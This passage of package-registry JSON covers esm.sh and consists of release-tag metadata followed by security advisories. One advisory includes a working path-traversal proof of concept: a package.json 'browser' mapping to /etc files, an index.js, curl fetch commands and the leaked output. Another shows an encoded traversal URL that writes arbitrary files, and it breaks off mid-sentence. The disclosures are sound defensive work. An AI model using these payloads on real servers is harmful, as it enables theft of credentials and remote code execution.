/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v73/manifests"},{"name":"v72","sha":"a80087a00c294725d74f4fa97c51139bc074945b","kind":"commit","published_at":"2022-03-22T01:18:16.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v72","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v72","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v72","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v72/manifests"},{"name":"v71","sha":"89b44e69d123a4f9c557dfa3a95645aea34632d6","kind":"commit","published_at":"2022-03-20T05:16:42.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v71","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v71/manifests"},{"name":"v70","sha":"f0ae3f6867798c1459e4c806f0b384e36faf95f3","kind":"commit","published_at":"2022-03-18T16:53:47.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v70","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v70","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v70","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v70","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v70/manifests"},{"name":"v69","sha":"847aae562a92d3f50b803a2c4a1ea4f336d0ab03","kind":"commit","published_at":"2022-03-14T04:56:40.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v69","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v69","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v69","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v69","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v69/manifests"},{"name":"v68","sha":"a27e1628a822ac8f0d3a44246df37217bf948719","kind":"commit","published_at":"2022-03-09T09:06:27.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v68","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v68","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v68","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v68/manifests"},{"name":"v67","sha":"a171a088e3d064361ad25cb2a31b1434c8d42a2a","kind":"commit","published_at":"2022-03-07T15:28:05.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v67","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v67","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v67","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v67/manifests"},{"name":"v66","sha":"2ba413f6de2b3493d1f0bd2c932e53244d2f1e03","kind":"commit","published_at":"2022-02-07T14:21:18.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v66","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v66/manifests"},{"name":"v65","sha":"294730738603f0c7d9824d61d722122cb82d9a9e","kind":"commit","published_at":"2022-02-05T19:07:58.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v65","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v65","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v65","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v65/manifests"},{"name":"v64","sha":"10c10b993c9126c0f45f6f5948917ffd51ef2746","kind":"commit","published_at":"2022-01-21T15:46:29.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v64","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v64/manifests"},{"name":"v63","sha":"171ddbbcf81a49b38cbbdb8f7f00a60aec03ba64","kind":"commit","published_at":"2022-01-18T09:54:23.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v63","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v63","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v63","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v63/manifests"},{"name":"v62","sha":"3dca96d2d23ebc36a552dafc11b4f83135075f9d","kind":"commit","published_at":"2022-01-11T02:47:32.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v62","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v62/manifests"},{"name":"v61","sha":"02deb997e1102e6d395c1f380fe0f086e441bd38","kind":"commit","published_at":"2022-01-04T17:49:56.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v61","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v61/manifests"},{"name":"v60","sha":"48471324afdae79354e2ac0e45f3cecbe02aeb48","kind":"commit","published_at":"2022-01-04T15:18:36.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v60","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v60/manifests"},{"name":"v59","sha":"6c01b15e33cbe575f474f1c632123abcf03d9531","kind":"commit","published_at":"2021-12-27T14:13:55.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v59","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v59/manifests"},{"name":"v57","sha":"01059952344dc07100237a1b688278e556eba1e1","kind":"commit","published_at":"2021-11-04T16:02:23.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v57","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v57/manifests"},{"name":"v56","sha":"9d265c777398af1157503e67667de0d535fc80a2","kind":"commit","published_at":"2021-11-01T18:52:31.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v56","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v56/manifests"},{"name":"v55","sha":"c8c365b55e3bbf7ea3289b9b61ff23809ce4e6c7","kind":"commit","published_at":"2021-10-31T06:37:58.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v55","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v55/manifests"},{"name":"v53","sha":"135b073c1512172df4a964f581b30f966b72c449","kind":"commit","published_at":"2021-09-18T13:26:55.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v53","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v53/manifests"},{"name":"v52","sha":"33f79dbaed225bcc72daa7a8d3ed984c14447a5e","kind":"commit","published_at":"2021-09-16T20:42:08.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v52","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v52/manifests"},{"name":"v51","sha":"3306350694c11487665b0ebca28e737f6a372684","kind":"commit","published_at":"2021-09-14T18:09:38.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v51","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v51/manifests"},{"name":"v50","sha":"a3f350558ed64ad4ad587ae17f034af762374eb7","kind":"commit","published_at":"2021-09-11T17:22:46.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v50","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v50/manifests"},{"name":"v49","sha":"62e442f9ca879ef5398f72f292045ace38493404","kind":"commit","published_at":"2021-09-10T05:47:40.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v49","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v49/manifests"},{"name":"v48","sha":"722417f20e38ff209fc48f2c3f7b94a9ff0ba45b","kind":"commit","published_at":"2021-09-07T14:53:24.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v48","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v48/manifests"},{"name":"v47","sha":"27b0a39b61de64549b11686b93a9bb8cedd0a62e","kind":"commit","published_at":"2021-08-31T17:26:22.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v47","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v47/manifests"},{"name":"v46","sha":"ca9aefadc47865868ea80cbdb2a9931e42943175","kind":"commit","published_at":"2021-08-28T18:08:53.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v46","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v46/manifests"},{"name":"v45","sha":"88a449b4cb5c2aa2df5a23db20aad2592cbbcacf","kind":"commit","published_at":"2021-08-10T17:46:54.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v45","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v45/manifests"},{"name":"v44","sha":"55b7481308b1367ca9b8a2d31c399865a414f358","kind":"commit","published_at":"2021-08-07T21:19:03.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v44","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v44/manifests"},{"name":"v43","sha":"b11caf36f5359079ac20fe30550b2f96b25c8896","kind":"commit","published_at":"2021-06-25T13:14:14.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v43","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v43/manifests"},{"name":"v41","sha":"81c97f755643c0dc6ca1dca7f8a8be8b93ab644b","kind":"commit","published_at":"2021-04-18T07:41:04.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v41","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v41/manifests"},{"name":"v40","sha":"13417451d53fa44e99d838b4a5bd4db63a353b00","kind":"commit","published_at":"2021-04-11T15:38:59.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v40","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v40/manifests"},{"name":"v39","sha":"0d54614b1831d6e38e167619a091034076e9c038","kind":"commit","published_at":"2021-04-10T10:03:26.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v39","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v39/manifests"},{"name":"v38","sha":"c289c8b51c27aecab02d3f0501a9f666b2b60d68","kind":"commit","published_at":"2021-04-07T16:53:07.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v38","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v38/manifests"},{"name":"v37","sha":"358c0c0d5b778bfb655a67d8b3a82d2f6a2866af","kind":"commit","published_at":"2021-04-06T20:22:34.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v37","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v37/manifests"},{"name":"v35","sha":"a94ef83b83b19b526b73c1032641da89e632ec73","kind":"commit","published_at":"2021-04-05T13:44:27.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v35","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v35/manifests"},{"name":"v34","sha":"bd0d0a2cf8e308b300c1e0457bc320f52f9c819c","kind":"commit","published_at":"2021-04-04T10:33:45.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v34","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v34/manifests"}]},"repo_metadata_updated_at":"2026-10-16T03:18:27.040Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":1.621842380873635,"dependent_packages_count":6.491628958142286,"stargazers_count":null,"forks_count":null,"average":4.056735669507961},"purl":"pkg:golang/github.com/esm-dev/esm.sh","advisories":[{"uuid":"GSA_kwCzR0hTQS1yZzY1LTQ1bTctaHE1N84ABWxo","url":"https://github.com/advisories/GHSA-rg65-45m7-hq57","title":"esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files","description":"### Summary\n\nA Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\n### Details\n\nThe vulnerable code is in the `OnResolve` callback of the esbuild plugin:\n\nhttps://github.com/esm-dev/esm.sh/blob/main/server/build.go\n\nThe plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.\n\n```go\n// Sandbox check passes for the original \"./d1.txt\" path\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"could not resolve module %s\", specifier)\n}\n\n// ... later, browser field remaps to attacker-controlled path:\nif len(pkgJson.Browser) \u003e 0 \u0026\u0026 ctx.isBrowserTarget() {\n\tif path, ok := pkgJson.Browser[modulePath]; ok {\n\t\tif path == \"\" {\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:      args.Path,\n\t\t\t\tNamespace: \"browser-exclude\",\n\t\t\t}, nil\n\t\t}\n\t\tif !isRelPathSpecifier(path) {\n\t\t\texternalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)\n\t\t\tif err != nil {\n\t\t\t\treturn esbuild.OnResolveResult{}, err\n\t\t\t}\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:        externalPath,\n\t\t\t\tSideEffects: sideEffects,\n\t\t\t\tExternal:    true,\n\t\t\t}, nil\n\t\t}\n\t\tmodulePath = path\n\t}\n}\n\n\n// path.Join collapses \"../\" sequences - escapes the package directory\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\n// No second sandbox check\n```\n\nFile contents appear in both the bundled JS output and the source map `sourcesContent` array.\n\nReadable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).\n\nNon-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.\n\n### PoC\n\nThe test package is published at https://www.npmjs.com/package/chess-sec-utils1\n\n**package.json:**\n```json\n{\n  \"name\": \"chess-sec-utils1\",\n  \"version\": \"1.0.6\",\n  \"main\": \"index.js\",\n  \"type\": \"module\",\n  \"browser\": {\n    \"./d1.txt\": \"../../../../../../../../etc/hostname\",\n    \"./d2.json\": \"../../../../../../../../etc/os-release\",\n    \"./d3.json\": \"../../../../../../../../etc/environment\"\n  }\n}\n```\n\n**index.js:**\n```js\nimport d1 from \"./d1.txt\"\nimport d2 from \"./d2.json\"\nimport d3 from \"./d3.json\"\nexport default { d1, d2, d3 }\n```\n\n```bash\nnpm publish\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6\"\ncurl \"https://\u003cesm.sh-instance\u003e/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map\"\n```\n\nServer file contents in source map response:\n```json\n{\n  \"sourcesContent\": [\n    \"ideapad\\n\",\n    \"PRETTY_NAME=\\\"Ubuntu 22.04.5 LTS\\\"\\nNAME=\\\"Ubuntu\\\"\\nVERSION_ID=\\\"22.04\\\"\\nVERSION=\\\"22.04.5 LTS (Jammy Jellyfish)\\\"\\nVERSION_CODENAME=jammy\\nID=ubuntu\\nID_LIKE=debian\\nHOME_URL=\\\"https://www.ubuntu.com/\\\"\\nSUPPORT_URL=\\\"https://help.ubuntu.com/\\\"\\nBUG_REPORT_URL=\\\"https://bugs.launchpad.net/ubuntu/\\\"\\nPRIVACY_POLICY_URL=\\\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\\\"\\nUBUNTU_CODENAME=jammy\\n\",\n    \"PATH=\\\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\\\"\\n\",\n    \"import d1 from \\\"./d1.txt\\\"...\"\n  ]\n}\n```\n\n\u003cimg width=\"1720\" height=\"796\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952\" /\u003e\n\n### Impact\n\nAn attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.\n\n### Fix\n\nAdd a path validation check after the `browser` field remapping:\n\n```go\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"path traversal blocked\")\n}\n```\n\n### Credit\nSvyatoslav Berestovsky of Metascan","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-12T22:22:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57","https://github.com/esm-dev/esm.sh/releases/tag/v137","https://nvd.nist.gov/vuln/detail/CVE-2026-44594","https://github.com/advisories/GHSA-rg65-45m7-hq57"],"source_kind":"github","identifiers":["GHSA-rg65-45m7-hq57","CVE-2026-44594"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-12T23:00:08.366Z","updated_at":"2026-10-12T12:04:33.313Z","epss_percentage":0.00481,"epss_percentile":0.39515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZzY1LTQ1bTctaHE1N84ABWxo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZzY1LTQ1bTctaHE1N84ABWxo","packages":[{"ecosystem":"go","package_name":"github.com/esm-dev/esm.sh","versions":[{"first_patched_version":"0.0.0-20250616164159-0593516c4cfa","vulnerable_version_range":"\u003c 0.0.0-20250616164159-0593516c4cfa"}],"purl":"pkg:go/github.com%2Fesm-dev%2Fesm.sh"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZzY1LTQ1bTctaHE1N84ABWxo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNjM2LWgzdngtNjQ2Nc4ABWxn","url":"https://github.com/advisories/GHSA-3636-h3vx-6465","title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","description":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see \u003chttps://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291\u003e).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations 